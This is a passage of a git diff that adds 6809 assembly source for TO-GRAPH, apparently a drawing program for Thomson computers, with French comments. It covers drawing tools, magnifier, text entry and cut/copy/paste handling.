+ BPL XASCV0 ->
+ CLRB
+XASCV0 LDA #6
+ MUL
+ CMPD #79
+ BLE XASCV1 ->
+ LDD #79
+XASCV1 CMPB RGDECR
+ LBEQ EXEC1 ->
+ PSHS B
+ JSR RAZOUT
+ JSR FENDES
+ JSR SAUVE
+ PULS B
+ STB RGDECR
+ JSR VISASD
+ JSR RESTAU
+ JSR FENACT
+ LBRA EXEC1 ->
+
+*** Visu nouvelle tortue caractère
+VITCAR JSR FENDES
+ JSR TRAMIN
+ LDY #TORTXT
+ LDB #MOVE
+ JSR EXTRA
+ JSR TRAMAX pour tortue sour
+ JSR FENACT
+ LBRA EXEC1 ->
+
+*** Sélection copie album courant (F9)
+*** (ou double F4)
+XALBUF JSR RAZOUT
+ LDX ALBCOU
+ LBEQ EXEC1 pas alb. cour ->
+
+* Nb: posit. bank car CODE maintient un
+* pseudo bank courant
+
+ PSHS X
+ LDB #ESC tour magenta
+ JSR PUTC
+ LDB #$65
+ JSR PUTC
+
+ JSR FENDES
+ JSR SAUVE
+ JSR TRAMIN fixe écran trav
+
+ LDA OUTIL outil "copier"
+ STA COPAOU temporaire
+ LDA #$FF
+ STA COPALB
+ LDA #COUCOP
+ STA OUTIL
+ JSR AFFOPT
+ PULS X
+
+ LDD #$A002
+ STD DEBZON
+ LDA BANKC mémo
+ LDB 8,X
+ STB BANKC
+ DECB
+ STB DEBZON+2
+ LDB #$FF
+ STB PUTFLG
+ LDB #5
+ STB X0COD
+ LDB #1
+ STB Y0COD
+ LDB #CODE
+ JSR EXTRA
+ STA BANKC
+
+ JSR TRAMAX
+ JSR FENACT
+ LBRA EXEC1 ->
diff --git a/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-X1.ASM b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-X1.ASM
new file mode 100755
index 0000000..253263c
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-X1.ASM
@@ -0,0 +1,1218 @@
+ TITLE TO-GRAPH: Traitement
+* ------------------------------
+ PAGE
+
+****************************************
+* *
+* TO-GRAPH *
+* *
+* Traitement: GRAPH-X *
+* *
+****************************************
+
+
+*=======================================
+* S/P traitement du dessin définitif
+*=======================================
+
+DESOUT EQU *
+*---------------------------------------
+
+DESOU0 JSR LPIN anti-rebond
+ BCS DESOU0 ->
+
+ JSR FENDES
+ LDB OUTIL
+ LSLB
+ ADDB OUTIL
+ LEAX XDEOUT,PCR
+ JSR B,X
+ JSR FENACT
+ LDB #POINTE et rebelote !!!
+ STB ETAOUT
+XDF RTS ->>
+*---------------------------------------
+XDEOUT LBRA XDF points
+ LBRA XDLIGN
+ LBRA XDRECT
+ LBRA XDRECT carré
+ LBRA XDELLI
+ LBRA XDELLI cercle
+ LBRA XDCARA caractère
+ LBRA XDF peinture
+ LBRA XDF gomme
+ LBRA XDF loupe
+ LBRA XDCOUC couper/copier
+ LBRA XDF coller
+*---------------------------------------
+
+XDCARA JSR RAZOUT
+*-----
+ RTS
+
+XDCOUC LEAS -2,S
+*-----
+MEMACT SET 0
+MEMCOP SET 1
+
+* calculer coord. en croissant
+ LDD X0TIRE
+ STD <XT0
+ LDD X1TIRE
+ STD <XT1
+ CMPD X0TIRE
+ BCC XDCC0 ->
+ STD <XT0
+ LDD X0TIRE
+ STD <XT1
+XDCC0 LDA Y0TIRE+1
+ STA <YT0
+ LDA Y1TIRE+1
+ STA <YT1
+ CMPA Y0TIRE+1
+ BCC XDCC1 ->
+ STA <YT0
+ LDA Y0TIRE+1
+ STA <YT1
+
+* calcul dimensions point de la
+* zone... on ignore si trop petite
+* (erreur probable !)
+XDCC1 LDA <YT1
+ SUBA <YT0
+ INCA
+ CMPA #8
+ LBCS XDCCFI ->
+ LDD <XT1
+ SUBD <XT0
+ ADDD #1
+ CMPD #8
+ LBCS XDCCFI ->
+
+* sélection du traitement appliqué
+* à la zone sélectionnée sauf en
+* copie d'album ou on ne fait que
+* "copier"
+ LDA COPALB
+ STA MEMCOP,S
+ BEQ XDCC00 ->
+ CLR COPALB pour RAZOUT !!!
+ LDA #$43
+ STA MEMACT,S
+ LBRA XDCC05 ->
+
+XDCC00 LDB Y1TIRE+1
+ LSRB
+ LSRB
+ LSRB
+ LDA #16
+ CMPB #16
+ BLE XDCC40 ->
+ TFR A,B
+XDCC40 PSHS B
+ LDD X1TIRE
+ LSRA
+ RORB
+ LSRA
+ RORB
+ LSRB
+ LDA #60
+ CMPB #60
+ BLE XDCC41 ->
+ TFR A,B
+XDCC41 PULS A
+ LDX #FFCOUC
+ JSR FENOUV
+ JSR FENACT
+XDCC42 JSR FEN
+ CMPB #$03
+ BEQ XDCC43 ->
+ CMPB #$43
+ BEQ XDCC43 ->
+ CMPB #$49
+ BEQ XDCC43 ->
+ CMPB #FF
+ BNE XDCC42 ->
+ CLRB
+ JSR FENFER
+XDCCFI LEAS 2,S
+ LEAS 2,S RTS de XDCOUC
+ JSR FENACT
+ RTS ->>
+
+XDCC43 STB MEMACT,S
+ CLRB
+ JSR FENFER
+XDCC05 JSR RAZOUT
+ JSR FENDES
+
+* acquérir le tiroir sur l'écran
+ JSR LITTIR
+
+* effectuer le traitement demandé
+* sur la zone sélectionnée
+ LDB MEMACT,S
+ CMPB #$03
+ BEQ XDCC50 ->
+ CMPB #$49
+ LBEQ XDCC70 ->
+
+* simple copie
+ TST MEMCOP,S
+ BEQ XDCCFF ->
+ LDB #ESC fin copie album
+ JSR PUTC
+ LDB #$60
+ JSR PUTC
+ LDA COPAOU
+ STA OUTIL
+ JSR AFFOPT
+ JSR RESTAU restaure visu
+XDCCFF LEAS 2,S simple copie !
+ RTS ->>
+
+* effacement zone mise en tiroir
+XDCC50 LDA #$FF
+ STA FILFLG
+ LDD #PLEIN
+ STD MACP
+ JSR TRRAZ
+ LDX X0TIRE
+ STX XXXXXX
+ LDY Y0TIRE
+ STY YYYYYY
+ LDX X1TIRE
+ LDY Y1TIRE
+ LDB #BOX
+ JSR EXTRA
+ JSR TRNORM
+ LEAS 2,S
+ RTS ->>
+
+* inversion zone mise en tiroir
+XDCC70 LDA #$FF
+ STA FILFLG
+ LDD #PLEIN
+ STD MACP
+ JSR TRINV
+ LDX X0TIRE
+ STX XXXXXX
+ LDY Y0TIRE
+ STY YYYYYY
+ LDX X1TIRE
+ LDY Y1TIRE
+ LDB #BOX
+ JSR EXTRA
+ JSR TRNORM
+ LEAS 2,S
+ RTS ->>
+
+* abandon de la sélection
+XDCC80 JSR FENFER
+ CLR <FLGTIR
+ LDA TLIGN
+ PSHS A
+ LDA #1
+ STA TLIGN
+ JSR TRINV
+ JSR TRRECT
+ JSR TRINV
+ JSR TRLIGN
+ PULS A
+ STA TLIGN
+ LEAS 2,S
+ RTS ->>
+
+XDRECT EQU *
+*-----
+ JSR TRREMP
+ JSR TRRECT
+ RTS
+
+XDLIGN EQU *
+*-----
+ JSR TRLIGN
+ RTS
+
+XDELLI EQU *
+*-----
+ JSR TRREMP
+ JSR TRELLI
+ RTS
+
+
+*=======================================
+* S/P traitement d'un clic de pointage
+* en mode POINTE
+*=======================================
+
+PTOUT EQU *
+*---------------------------------------
+
+ LDB OUTIL
+ CMPB #GOMME
+ BEQ PTOUT1 ->
+ CMPB #POINTS
+ BEQ PTOUT1 ->
+
+PTOUT0 JSR LPIN anti-rebond
+ BCS PTOUT0 ->
+
+PTOUT1 JSR FENDES
+ LDB OUTIL
+ LSLB
+ ADDB OUTIL
+ LEAX XPTOUT,PCR
+ JSR B,X
+ JSR FENACT
+ RTS ->>
+*---------------------------------------
+XPTOUT LBRA XPPOIN
+ LBRA XPLIGN
+ LBRA XPRECT
+ LBRA XPRECT carré
+ LBRA XPELLI
+ LBRA XPELLI cercle
+ LBRA XPCARA
+ LBRA XPPEIN
+ LBRA XPGOMM
+ LBRA XPLOUP
+ LBRA XPCOUC
+ LBRA XPCOLL
+*---------------------------------------
+
+XPGOMM EQU *
+*-----
+ LDX REGX
+ STX X0TIRE
+ LDY REGY
+ STY Y0TIRE
+XPGFI0 STX X1TIRE
+ STY Y1TIRE
+ JSR TRRAZ
+ JSR TRLIGN
+ STX X0TIRE
+ STY Y0TIRE
+
+XPGFI1 JSR GETL
+ BCS XPGFI1 ->
+ JSR LPIN
+ BCS XPGFI0 ->
+
+ RTS
+
+XPCARA EQU *
+*-----
+ JSR TRAMIN tortue caractère
+ LDB TCAR
+ SUBB #TCN
+ PSHS B
+ LSLB
+ ADDB ,S+
+ LDX #TABTOR
+ ABX
+ LDY ,X++
+ LDB ,X
+
+ PSHS B copie en RAM
+ LDX #TFORME
+COPTO1 LDA ,Y+
+ STA ,X+
+ DECB
+ BNE COPTO1 ->
+
+ PULS B compil sur place
+ STB FACLO
+ LDX #TFORME
+ LDY #TFORME
+ LDB #CMPTOR
+ JSR EXTRA
+
+ LDX REGX
+ STX TXTX
+ LDY REGY
+ STY TXTY
+
+ LDY #TORTXT
+ LDB #MOVE
+ JSR EXTRA
+ LDA #$FF
+ LDB #SHOW
+ JSR EXTRA
+ JSR TRAMAX
+
+ LDA #$FF
+ STA FLGTXT
+ COMA
+ STA CLITXT
+ CLR FLGSS2
+
+ LDA #TIRE
+ STA ETAOUT
+ CLRA tortue std
+ CLRB
+ JSR FENTOR
+ COMA
+ STA STDTOR
+ RTS
+
+XPCOUC EQU * rfu
+*-----
+ LDA TLIGN
+ PSHS A
+ LDA #1
+ STA TLIGN
+ LDX REGX
+ STX X0TIRE
+ STX X1TIRE
+ LDY REGY
+ STY Y0TIRE
+ STY Y1TIRE
+
+ JSR TRINV
+ CLR FILFLG
+ JSR TRRECT
+ JSR TRINV
+ JSR TRLIGN
+ PULS A
+ STA TLIGN
+
+ LDA #TIRE
+ STA ETAOUT
+ CLRA tortue std
+ CLRB
+ JSR FENTOR
+ COMA
+ STA STDTOR
+ RTS
+
+XPCOLL EQU *
+*-----
+ TST FLGTIR
+ BNE XPCOL0 ok ->
+ LDX #MTIRVI
+ JSR FENERR
+ LBRA XPCOLF ->
+
+XPCOL0 EQU *
+* calculer coord. de visualisation
+ LDD <LPTTIR
+ LSRA
+ RORB
+ PSHS D
+ LDD REGX
+ SUBD ,S++
+ PSHS D
+
+ CLRA calcul +/- 32k
+ LDB <HPTTIR
+ LSRA
+ RORB
+ PSHS D
+ LDD REGY
+ SUBD ,S++
+ PSHS D
+
+ LDB #$13 mode transp. ?
+ JSR FENCH
+ CLRA
+ LDB VAL,X
+ CMPB #OFF
+ BNE XPCC99 ->
+ COMA
+XPCC99 PULS Y
+ PULS X
+ JSR VISTIR
+
+XPCOLF RTS
+
+XPPEIN EQU *
+*-----
+ LDX REGX
+ LDY REGY
+ JSR GETP
+ TSTB
+ BEQ XPEIN2 pt en forme ->
+
+ JSR TRAMIN
+ LDB #$13
+ JSR FENCH
+ LDB VAL,X
+ CMPB #OFF
+ BEQ XPEIN0 ->
+ JSR TRTRAN mode transparent
+XPEIN0 LDX REGX
+ STX XXXXXX
+ LDY REGY
+ STY YYYYYY
+ LDB #BKMANO manoeuvre
+ STB BANKC
+ LDD #ZONTRA
+ STD DEBZON
+ LDD #FINTRA
+ STD FINZON
+ LDU #MOTIF
+ STU MACP
+ LDU #XPEIN2 active chien
+ JSR ACTDOG garde
+ LDB #PAINT
+ JSR EXTRA
+ CLR FLGDOG désactive
+ TSTB
+ BEQ XPEIN2 ->
+ JSR DOSERR
+XPEIN2 JSR TRNORM
+ JSR TRAMAX
+ LDB #BKTIR restaure bank
+ STB BANKC
+ RTS
+
+XPPOIN EQU *
+*-----
+ LDX REGX
+ STX X0TIRE
+ LDY REGY
+ STY Y0TIRE
+XPPFI0 STX X1TIRE
+ STY Y1TIRE
+ JSR TRLIGN
+ STX X0TIRE
+ STY Y0TIRE
+
+XPPFI1 JSR GETL
+ BCS XPPFI1 ->
+ JSR LPIN
+ BCS XPPFI0 ->
+
+ RTS
+
+XPRECT EQU *
+*-----
+ JSR TRINV
+
+ LDX REGX
+ STX X0TIRE
+ STX X1TIRE
+ LDY REGY
+ STY Y0TIRE
+ STY Y1TIRE
+ CLR FILFLG
+ JSR TRRECT
+
+ LDA #TIRE
+ STA ETAOUT
+ CLRA tortue std
+ CLRB
+ JSR FENTOR
+ COMA
+ STA STDTOR
+ RTS
+
+XPLIGN EQU *
+*-----
+ JSR TRINV
+
+ LDX REGX
+ STX X0TIRE
+ STX X1TIRE
+ LDY REGY
+ STY Y0TIRE
+ STY Y1TIRE
+ JSR TRLIGN
+
+ LDA #TIRE
+ STA ETAOUT
+ CLRA tortue std
+ CLRB
+ JSR FENTOR
+ COMA
+ STA STDTOR
+ RTS
+
+XPELLI EQU *
+*-----
+ JSR TRINV
+
+ LDX REGX
+ STX X0TIRE
+ LDY REGY
+ STY Y0TIRE
+ LDA #2
+ STA X1TIRE
+ STA Y1TIRE
+ CLR FILFLG
+ JSR TRELLI
+
+ LDA #TIRE
+ STA ETAOUT
+ CLRA tortue std
+ CLRB
+ JSR FENTOR
+ COMA
+ STA STDTOR
+ RTS
+
+XPLOUP EQU *
+*-----
+ LDA FLGLOU
+ CMPA #2
+ LBEQ XPLO50 dessin dans loupe
+ CMPA #0
+ BNE XPLO00 tracé de loupe ->
+ RTS ->>
+
+* Tracé de la loupe à gauche ou à droite
+XPLO00 LDA #2
+ STA FLGLOU
+ LDD X0TIRE
+ CMPD #50*8
+ BLT XPLO10 ->
+ LDD #$0306
+ BRA XPLO11 ->
+XPLO10 LDD #$0338
+XPLO11 STD RNGLOU
+
+ LDA $E7C3 sauver 1ére page
+ ORA #1
+ STA $E7C3
+ LDX #$4000
+ LEAX 40*8*3,X
+ LSRB
+ LEAX B,X
+ LDA #BKMANO
+ STA BANKC
+ LDY #$A000
+ LDU #18*8
+XPLO20 LDA #9
+XPLO21 LDB ,X+
+ STB ,Y+
+ DECA
+ BNE XPLO21 ->
+ LEAX 31,X
+ LEAU -1,U
+ CMPU #0
+ BNE XPLO20 ->
+
+ LDA $E7C3 sauver 2éme page
+ EORA #1
+ STA $E7C3
+ LDX #$4000
+ LEAX 40*8*3,X
+ LDB COLLOU
+ LSRB
+ LEAX B,X
+ LDU #18*8
+XPLO30 LDA #9
+XPLO31 LDB ,X+
+ STB ,Y+
+ DECA
+ BNE XPLO31 ->
+ LEAX 31,X
+ LEAU -1,U
+ CMPU #0
+ BNE XPLO30 ->
+
+ LDD RNGLOU fenêtre loupe
+ LDX #FFLOUP
+ JSR FENVIS
+
+ LDU #$D000 lecture zone
+ LDY Y0TIRE
+ LEAY 1,Y
+BLLO0 LDX X0TIRE
+ LEAX 1,X
+BLLO1 JSR GETP
+ STB ,U+
+ LEAX 1,X
+ CMPX X1TIRE
+ BNE BLLO1 ->
+ LEAY 1,Y
+ CMPY Y1TIRE
+ BNE BLLO0 ->
+
+ LDU #$D000 écriture loupe
+ LDD #PLEIN
+ STD MACP
+ LDA #$FF
+ STA FILFLG
+ LDY #4*8
+BELO0 LDB #8
+ LDA COLLOU
+ INCA
+ MUL
+ TFR D,X
+ LDA #32
+BELO1 TST ,U+
+ BMI BELO2 ->
+ STX XXXXXX
+ STY YYYYYY
+ LEAX 3,X
+ LEAY 3,Y
+ LDB #BOX
+ JSR EXTRA
+ LEAX -3,X
+ LEAY -3,Y
+BELO2 LEAX 4,X
+ DECA
+ BNE BELO1 ->
+ LEAY 4,Y
+ CMPY #20*8
+ BNE BELO0 ->
+
+ RTS ->>
+
+* Dessin dans la loupe ???
+XPLO50 LDX RNGLOU
+ LDY #$1111
+ JSR SOUDAN
+ BCC XPLO51 hors ->
+ LEAX $0101,X
+ LDY #$1010
+ JSR SOUDAN
+ BCS XPLO52 dessin ->
+ RTS ->>
+XPLO51 JSR RAZOUT
+ RTS ->>
+
+* Dessin dans la loupe
+XPLO52 JSR TRINV
+ LDD REGX
+ ANDB #$FC
+ STD XXXXXX
+ ADDD #3
+ TFR D,X
+ LDD REGY
+ ANDB #$FC
+ STD YYYYYY
+ ADDD #3
+ TFR D,Y
+ LDD #PLEIN
+ STD MACP
+ LDA #$FF
+ STA FILFLG
+ LDB #BOX
+ JSR EXTRA
+
+* Dessin en réel
+ LDA COLLOU
+ LDB #8
+ MUL
+ PSHS D
+ LDD REGX
+ SUBD ,S++
+ LSRA
+ RORB
+ LSRA
+ RORB 2..33
+ SUBD #1
+ ADDD X0TIRE
+ TFR D,X
+ LDD REGY
+ SUBD #3*8
+ LSRA
+ RORB
+ LSRA
+ RORB 2..33
+ SUBD #1
+ ADDD Y0TIRE
+ TFR D,Y
+ LDB #PSETXY
+ JSR EXTRA
+ JSR TRNORM
+ RTS ->>
+
+
+*=======================================
+* S/P raz visu provisoire de l'outil
+* courant (suite à sélection ou
+* scroll dans le mode TIRE
+*=======================================
+
+RAZOUT EQU *
+*---------------------------------------
+ JSR FENDES
+ JSR TRAMAX tortue standard
+ CLRA
+ CLRB
+ JSR FENTOR
+ COMA
+ STA STDTOR
+ JSR FENACT
+
+ LDA ETAOUT
+ CMPA #TIRE
+ BEQ RAZOU0 ->
+ LDA OUTIL
+ CMPA #LOUPE
+ BEQ RAZOU0 ->
+ TST COPALB
+ BEQ RAZO00 ->
+ JSR FENDES
+ JSR XRCOU0 ->
+ JSR FENACT
+RAZO00 RTS ->>
+
+RAZOU0 LDA #POINTE retour en état
+ STA ETAOUT
+ JSR FENDES
+ LDB OUTIL
+ LSLB
+ ADDB OUTIL
+ LEAX XRAZOU,PCR
+ JSR B,X
+ JSR FENACT
+XRF RTS ->>
+*---------------------------------------
+XRAZOU LBRA XRF points
+ LBRA XRLIGN
+ LBRA XRRECT
+ LBRA XRRECT carré
+ LBRA XRELLI
+ LBRA XRELLI cercle
+ LBRA XRCARA
+ LBRA XRF peinture
+ LBRA XRF gomme
+ LBRA XRLOUP
+ LBRA XRCOUC
+ LBRA XRCOLL
+*---------------------------------------
+
+XRCARA EQU *
+*-----
+ JSR TRAMIN
+ LDY #TORTXT masque tortue car
+ CLRA
+ LDB #SHOW
+ JSR EXTRA
+ CLR FLGTXT
+ JSR TRAMAX
+ RTS
+
+XRCOUC EQU *
+*-----
+ LDA TLIGN
+ PSHS A
+ LDA #1
+ STA TLIGN
+ JSR TRINV
+ CLR FILFLG
+ JSR TRRECT
+ JSR TRINV
+ JSR TRLIGN
+ PULS A
+ STA TLIGN
+
+ TST COPALB
+ BNE XRCOU0 ->
+ RTS ->>
+
+XRCOU0 LDB #ESC fin copie album
+ JSR PUTC
+ LDB #$60
+ JSR PUTC
+ LDA COPAOU
+ STA OUTIL
+ JSR AFFOPT
+ JSR RESTAU restaure visu
+ CLR COPALB
+ RTS
+
+XRCOLL RTS rfu
+*-----
+
+XRRECT JSR TRINV
+*-----
+ CLR FILFLG
+ JSR TRRECT
+ RTS
+
+XRLIGN JSR TRINV
+*-----
+ JSR TRLIGN
+ RTS
+
+XRELLI JSR TRINV
+*-----
+ CLR FILFLG
+ JSR TRELLI
+ RTS
+
+XRLOUP JSR RAZLOU
+*-----
+
+
+*=======================================
+* S/P traitement du mode TIRE
+* (tracé provisoire)
+*=======================================
+TIROUT EQU *
+*---------------------------------------
+
+ JSR FENDES
+ LDB OUTIL
+ LSLB
+ ADDB OUTIL
+ LEAX XTIOUT,PCR
+ JSR B,X
+ JSR FENACT
+XTF RTS ->>
+*---------------------------------------
+XTIOUT LBRA XTF points
+ LBRA XTLIGN
+ LBRA XTRECT
+ LBRA XTCARR
+ LBRA XTELLI
+ LBRA XTCERC
+ LBRA XTCARA caractère
+ LBRA XTF peinture
+ LBRA XTF gomme
+ LBRA XTLOUP
+ LBRA XTCOUC
+ LBRA XTCOLL
+*---------------------------------------
+
+XTCARA EQU *
+*-----
+ LDB REGB
+ CMPB #RC
+ BEQ XTCARC RC ->
+ CMPB #RS
+ LBEQ XTCARS RS ->
+ CMPB #1
+ LBEQ XTCAMO motif cour. ->
+ LBRA XTCACA code normal ->
+
+*** frappe d'un RC (=LF+CR)
+XTCARC EQU *
+ LDY TXTY mode caractère
+ LEAY 8,Y
+ LDA TCAR
+ CMPA #TCN
+ BEQ XTCRC0 ->
+ CMPA #TCDL
+ BEQ XTCRC0 ->
+ LEAY 8,Y
+ CMPY #207
+ BGE XTCRC2 ->
+ BRA XTCRC1 ->
+XTCRC0 CMPY #199
+ BGE XTCRC2 ->
+XTCRC1 STY TXTY
+ BRA XTCRC3 ->
+XTCRC2 LDB #7
+ JSR PUTC
+ LBRA XTCARF ->
+
+XTCRC3 LDX #32 mode caractère
+ STX TXTX
+ JSR TRAMIN
+ LDY #TORTXT
+ LDB #MOVE
+ JSR EXTRA
+ LBRA XTCARF ->
+
+
+*** frappe d'un RS (positionnement en
+*** position caractère normale ...
+
+XTCARS LDD TXTX
+XTCRS0 BITB #$07
+ BEQ XTCRS1 ->
+ SUBD #1
+ BRA XTCRS0 ->
+XTCRS1 STD TXTX
+ LDD TXTY
+ ADDD #1
+XTCRS2 BITB #$07
+ BEQ XTCRS3 ->
+ ADDD #1
+ BRA XTCRS2 ->
+XTCRS3 SUBD #1
+ STD TXTY
+ JSR TRAMIN
+ LDY #TORTXT
+ LDB #MOVE
+ JSR EXTRA
+ LBRA XTCARF ->
+
+*** frappe ctrl A (motif courant)
+
+XTCAMO LDX #CARMOT
+ LDY #TXTMOT
+XTCAR0 LDD ,X++
+ STD ,Y++
+ CMPX #MOTIF
+ BNE XTCAR0 ->
+ BRA XTCAR2 ->
+
+*** frappe d'un code normal
+
+XTCACA LDY #TXTMOT décodage car.
+ JSR XTRMOT
+ LBCC XTCARF ->
+
+XTCAR2 JSR TRAMIN
+ LDY #TORTXT masque tortue car
+ CLRA
+ LDB #SHOW
+ JSR EXTRA
+
+ LDX TXTX
+ LDY TXTY
+ JSR EXPCAR visu car.
+
+ LEAX 8,X
+ LDA TCAR
+ CMPA #TCN
+ BEQ XTCAR3 ->
+ CMPA #TCDH
+ BEQ XTCAR3 ->
+ LEAX 8,X
+XTCAR3 CMPX #623
+ BCC XTCAR4 ->
+ STX TXTX
+ LDY #TORTXT
+ LDB #MOVE
+ JSR EXTRA
+ BRA XTCARV ->
+XTCAR4 LDB #7
+ JSR PUTC
+
+XTCARV LDY #TORTXT visu tortue car
+ LDA #$FF
+ LDB #SHOW
+ JSR EXTRA
+
+XTCARF JSR TRAMAX pour tortue souri
+ RTS
+
+XTCOUC EQU *
+*-----
+ LDA TLIGN
+ PSHS A
+ LDA #1
+ STA TLIGN
+ JSR TRINV ancien tracé
+ CLR FILFLG
+ JSR TRRECT
+ JSR TRINV
+ JSR TRLIGN
+
+ LDX REGX nouveau tracé
+ STX X1TIRE
+ LDY REGY
+ STY Y1TIRE
+ JSR TRINV
+ JSR TRRECT
+ JSR TRINV
+ JSR TRLIGN
+ PULS A
+ STA TLIGN
+ RTS
+
+XTCOLL RTS rfu
+*-----
+
+XTRECT EQU *
+*-----
+ JSR TRINV ancien tracé
+ CLR FILFLG
+ JSR TRRECT
+
+ JSR TRINV nouveau tracé
+ LDX REGX
+ STX X1TIRE
+ LDY REGY
+ STY Y1TIRE
+ JSR TRRECT
+ RTS
+
+XTCARR EQU *
+*-----
+ JSR TRINV ancien tracé
+ CLR FILFLG
+ JSR TRRECT
+
+ JSR TRINV nouveau tracé
+ LDD REGX
+ SUBD X0TIRE
+ PSHS D
+ TSTA
+ BPL XTCRR0 >0 ->
+ LDD #0
+ SUBD ,S
+ STD ,S
+XTCRR0 LDD REGY
+ SUBD Y0TIRE
+ TSTA
+ BPL XTCRR1 >0 ->
+ PSHS D
+ LDD #0
+ SUBD ,S++
+XTCRR1 CMPD ,S
+ BGT XTCRR2 ->
+ LDD ,S
+XTCRR2 STD ,S D = coté
+
+ LDY Y0TIRE
+ CMPY REGY
+ BLE XTCRR3 ->
+ LDD #0
+ SUBD ,S
+XTCRR3 LEAY D,Y
+ STY Y1TIRE
+
+ LDD ,S coef rél -> larg
+ STD FACMO convers. -> réel
+ LDA #2
+ STA VALTYP
+ LDA #4
+ LDB #FRCTYP
+ JSR EXTRA
+ LDB #MOVAF -> ARG
+ JSR EXTRA
+ LDX #COEFMU coefficient
+ LDB #MOVFM
+ JSR EXTRA
+ LDB #MULTGO *
+ JSR EXTRA
+ LDA #2 convers entier
+ LDB #FRCTYP
+ JSR EXTRA
+ LDD FACMO
+ STD ,S
+ LDX X0TIRE
+ CMPX REGX
+ BLE XTCRR4 ->
+ LDD #0
+ SUBD ,S
+XTCRR4 LEAX D,X
+ STX X1TIRE
+ LEAS 2,S
+
+ JSR TRRECT
+ RTS
+
+XTLIGN EQU *
+*-----
+ JSR TRINV ancien tracé
+ JSR TRLIGN
+
+ JSR TRINV nouveau tracé
+ LDX REGX
+ STX X1TIRE
+ LDY REGY
+ STY Y1TIRE
+ JSR TRLIGN
+ RTS
+
+XTELLI EQU *
+*-----
+ JSR TRINV ancien tracé
+ CLR FILFLG
+ JSR TRELLI
+
+ JSR TRINV nouveau tracé
+ LDD REGX
+ SUBD X0TIRE
+ BPL XTELI0 ->
+ COMA < 0
+ COMB
+ ADDD #1
+XTELI0 CMPD #253
+ BLE XTELI1 ->
+ LDB #254 >254
+XTELI1 STB X1TIRE
+ BNE XTELI2 ->
+ INC X1TIRE
+
+XTELI2 LDD REGY
+ SUBD Y0TIRE
+ BPL XTELI3 ->
+ COMA < 0
+ COMB
+ ADDD #1
+XTELI3 CMPD #253
+ BLE XTELI4 ->
+ LDB #254 >254
+XTELI4 STB Y1TIRE
+ BNE XTELI5 ->
+ INC Y1TIRE
+XTELI5 JSR TRELLI
+ RTS
+
+XTCERC EQU *
+*-----
+ JSR TRINV ancien tracé
+ CLR FILFLG
+ JSR TRELLI
+
+ JSR TRINV nouveau tracé
+ LDA #2
+ STA VALTYP
+ LDD REGX
+ SUBD X0TIRE x au carré
+ STD FACMO
+ STD ARGMO
+ LDB #MULTGO
+ JSR EXTRA
+ LDX FACMO
+ PSHS X
+
+ LDD REGY y au carré
+ SUBD Y0TIRE
+ STD FACMO
+ STD ARGMO
+ LDB #MULTGO
+ JSR EXTRA
+
+ LDD FACMO racine de somme
+ ADDD ,S++
+ STD FACMO
+ LDB #SQR
+ JSR EXTRA
+
+ LDX #MEMREL mémo
+ LDB #MOVMF
+ JSR EXTRA
+
+ LDA #2 hauteur (entier)
+ LDB #FRCTYP
+ JSR EXTRA
+ LDD FACMO
+ CMPD #127
+ BLE XTCER0 ->
+ LDB #127
+XTCER0 STB Y1TIRE
+ BNE XTCER1 ->
+ INC Y1TIRE
+
+XTCER1 LDA #4 mémo * coef.
+ STA VALTYP adapt. pt
+ LDX #MEMREL
+ LDB #MOVFM
+ JSR EXTRA
+ LDB #MOVAF
+ JSR EXTRA
+ LDX #COEFMU
+ LDB #MOVFM
+ JSR EXTRA
+ LDB #MULTGO
+ JSR EXTRA
+
+ LDA #2 largeur (entier)
+ LDB #FRCTYP
+ JSR EXTRA
+ LDD FACMO
+ CMPD #254
+ BLE XTCER2 ->
+ LDB #254
+XTCER2 STB X1TIRE
+ BNE XTCER3 ->
+ INC X1TIRE
+
+XTCER3 JSR TRELLI
+ RTS
+
+XTLOUP RTS rfu
+*-----
diff --git a/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-X2.ASM b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-X2.ASM
new file mode 100755
index 0000000..7d2fad3
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-X2.ASM
@@ -0,0 +1,869 @@
+ TITLE TO-GRAPH: Traitement
+* ------------------------------
+ PAGE
+
+****************************************
+* *
+* TO-GRAPH *
+* *
+* Traitement: GRAPH-X *
+* *
+****************************************
+
+
+*=======================================
+* S/P traitement du réaffichage de
+* l'outil caractère
+*=======================================
+
+AFFCAR LEAS -1,S
+MEMACT SET 0
+*---------------------------------------
+
+ LDA OUTIL
+ CMPA #CARACT
+ BNE AFFCAF ->
+ LDB TCAR
+ SUBB #TCN
+ PSHS B
+ LSLB
+ ADDB ,S+
+ LDX #TABTOR
+ ABX
+ LDY ,X
+ LDB 2,X
+
+ LDA ETAOUT
+ CMPA #POINTE
+ BEQ AFFCA0 ->
+
+ PSHS B copie en RAM
+ LDX #TFORME
+COPTO0 LDA ,Y+
+ STA ,X+
+ DECB
+ BNE COPTO0 ->
+ PULS B
+
+ STB FACLO compil sur place
+ LDX #TFORME
+ LDY #TFORME
+ LDB #CMPTOR
+ JSR EXTRA
+
+ LDY #TORTXT
+ LDA #$FF
+ LDB #SHOW
+ JSR EXTRA
+ BRA AFFCAF ->
+
+AFFCA0 TST STDTOR
+ BNE AFFCAF hors écran ! ->
+ TFR Y,X
+ LDA #1
+ JSR FENTOR
+
+AFFCAF LEAS 1,S
+ RTS
+
+
+*=======================================
+* S/P décalage droite/gauche du tiroir
+* pour mettre les 1ers points de
+* chaque ligne dans une colonne
+* donnée
+* Entrée: B rang à obtenir pour 1er pt
+* (0..7)
+*=======================================
+
+DECALT PSHS U
+ LDU #XDECAL
+ JSR COMBK2
+ PULS U,PC
+
+
+*=======================================
+* S/P génération d'un dessin tortue
+* d'avance éventuellement décomposé
+* en plusieurs (max soft 255)
+*
+* Entrée: D déplacement
+* X chaine rangement
+* Sortie: X ...
+*=======================================
+
+DEPTOR PSHS U
+ LDU #XDEPTO
+ JSR COMBK2
+ PULS U,PC
+
+
+*=======================================
+* S/P traitement d'effacement de l'outil
+* caractère
+*=======================================
+
+EFFCAR LEAS -1,S
+MEMACT SET 0
+*---------------------------------------
+
+ LDA OUTIL
+ CMPA #CARACT
+ BNE EFFCAF ->
+ LDA ETAOUT
+ CMPA #TIRE
+ BNE EFFCAF ->
+ LDY #TORTXT
+ CLRA
+ LDB #SHOW
+ JSR EXTRA
+EFFCAF LEAS 1,S
+ RTS
+
+
